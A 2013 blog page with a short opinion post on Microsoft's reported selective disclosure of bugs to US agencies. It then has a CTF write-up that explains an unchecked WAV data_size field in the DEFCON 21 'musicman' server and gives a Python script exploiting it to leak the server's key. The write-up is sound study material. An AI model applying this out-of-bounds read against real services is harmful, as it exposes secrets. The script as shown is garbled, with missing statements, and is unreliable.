Saturday, June 22, 2013

Full disclosure versus Selective disclosure

Bloomberg recently reported that Microsoft "provides intelligence agencies (NSA, CIA, FBI) with information about bugs in its popular software before it publicly releases a fix."

Though I cannot confirm if other governments in the world were also alerted of the bugs or only the US agencies, this strongly smells like a selective disclosure practice that Microsoft is following.

Not only is it unfair, but it is also dangerous. For one, other governments are denied the early alert even though they pay the same price for Microsoft applications. Secondly, and more importantly, selective disclosure alienates those governments and foreign security researchers. Reporting a vulnerability to Microsoft earns the researcher maximum of $150,000 dollars (at Microsoft's discretion) and ironically puts his own country in an uneasy situation.

Some will argue that it's fair because there is a payout after all. They have entirely missed the point. Security is about trust. When a researcher reports a vulnerability to Microsoft, there is an implicit trust that that information is private. On one hand, Microsoft would expect the researcher to hold on the disclosure. On the other hand, Microsoft breaks that trust itself by letting some third parties know about the discovery. And Microsoft also breaks the trust between itself and its customers, causes dire political consequences.

Furthermore, there are adverse effects selective disclosure may have on the exploit market. Selective disclosure can only reduce the number of public bugs and hike up the price of vulnerabilities. Microsoft will become a victim of its own action when it has to spend more and more to acquire the information that it could have been given for free. All simply because there is no more trust.

I cannot tell whether this whole thing is good or bad. Personally, I think it is bad. And time will give us a definite answer.

Monday, June 17, 2013

Musicman reverse engineering challenge

Update: Here's the binary musicman.

I spent last week end solving some challenges in the DEFCON 21 CTF (qualification round). Among them, I like the third reverse engineering challenge, musicman, the most.

Musicman is kind of innovative. High level speaking, musicman is an echo server with a twist. It modulates bytes to frequencies thus transforms text strings to wave files. The goal of this challenge is to read the content of the file /home/musicman/key by communicating with the server over wave data. We do not send regular text commands anymore. We need to send wave files.

On start up, the server reads the content of the key file, transforms that into a wave file, and stores that to a global variable key.

Then it starts listening for new connection. When a connection arrives, the server sends a wave file that is the modulated form of the greeting string down to the client. Then the server goes into an infinite loop receiving wave file from client, and sending similar wave file back to client.

Each wave file uploaded by the client is converted into text string by the server. After that, the server prepends a string "You said: " to the converted text string. It then transforms this string into a wave file, and sends the wave file to the client.

All wave data (the received wave file, the modulated wave file) in this phase are stored in a global buffer named wav. The wave file that the client uploads goes to that buffer. The resulting wave file of text modulation goes to that buffer.

key and wav are adjacent to each other in the address space. key is at a lower address than wav. Both key and wav are 1.000.000-byte long.

So, basically, we need to understand the format of a wave file in order to talk to the server. With a little bit of research, this is the structure I found.

FOURCC riff_id;   // 'RIFF'
DWORD  riff_size; // remaining size of the file
                  // not including riff_id, and riff_size
FOURCC wave_id;   // 'WAVE'
FOURCC fmt_id;    // 'fmt'
DWORD  fmt_size;  // must be 0x10, the size of the
                  // WAVEFORMAT struct
WORD   wave_type; // must be 1, for PCM
WORD   nr_channs; // number of channels
DWORD  sample_rt; // samples per second
DWORD  byte_rt;   // bytes per second
WORD   block_alg; // block align
WORD   bits;      // bits per sample
FOURCC data_id;   // 'data'
DWORD  data_size; // size of remaining data after this
char[0] begin_data;

There are three size fields in this struct. The first one, riff_size, is the total data of the rest of the file. The second one, fmt_size, describes the size of the struct that follows it. If this is 16 byte long, it is WAVEFORMAT struct. It could also be WAVEFORMATEX, but we're not worrying about that here. The third field, data_size, is the size of remaining data.

The server does have pretty thorough checks on the received wave data. It makes sure that riff_id is RIFF, wave_id is WAVE and so on. More importantly, it makes sure that riff_size is appropriate for the 1.000.000-byte long buffer.

After passing all these sanity checks, the server starts demodulating wave data to string. But instead of getting to begin_data by a fixed offset value relative to the beginning of the file (riff_id), the server dynamically calculates that offset value by riff_size - data_size + 8.

There lies the problem. Unlike other fields, data_size is not checked. So if data_size is greater than riff_size, the offset value will be negative; we will point backwards.

Remember that all the wave data are stored in wav buffer, and key buffer is before wav. Hence, pointing backwards will mean that we'll be accessing key data. And that is how we're going to extract key.

The idea of exploitation is to send the server a fake wave file whose header's data_size is appropriately set so that the server will demodulate its own global key buffer. Then the server will prepend "You said: " to the resulting text string (which would be the content of the key file), modulate it to a wave file, and send that wave file to us.

But we've only got the wave file. We know that the wave file is the representation of the string You said: <key value>. We need to demodulate it. And that's easy because we can run a local copy of the server; we make it work for us. So we will set a breakpoint right after it has demodulated client's wave file (after RecvString function). Then we send our local server the received wave file that we've obtained from the actual server. When the breakpoint hits, we get the string.

Here's the script that talks to the original server, grabs its key wave data, and bounces that data to a local server on localhost.

from socket import *
import struct

HOST = ''
PORT = 7890

def read_n(s, l):
 r = ''
 while True:
  d = s.recv(l - len(r))
  if d == '':
  r += d
  if len(r) >= l:
 return r

s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
data = read_n(s, 8)
header, data_len = struct.unpack('<4sI', data)
assert(header == 'RIFF')
remaining_len = data_len
read_n(s, remaining_len)
print 'Received first message', data_len

# now send some long wave data over there
riff_length = data_len + 100000
data = 'RIFF' + struct.pack('<I', riff_length - 8)
data += 'WAVEfmt ' + struct.pack('<I', 0x10)
data += struct.pack('<HHIIHH', 1, 1, 44100, 44100*2, 0, 16)
data += 'data'
data_length = riff_length - (len(data) + 4)
data += struct.pack('<I', data_length + 1000000 & 0xFFFFFFFF)
data += 'a' * data_length
print 'Sent our fake wave'

data = read_n(s, 8)
header, data_len = struct.unpack('<4sI', data)

data += read_n(s, data_len)
f = open('key.wav', 'w')
print 'Saved key.wav'

# connect to our own daemon, remember to run it in GDB to extract the key
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost', 7890))
junk = read_n(s, 8)
header, data_len = struct.unpack('<4sI', junk)
read_n(s, data_len)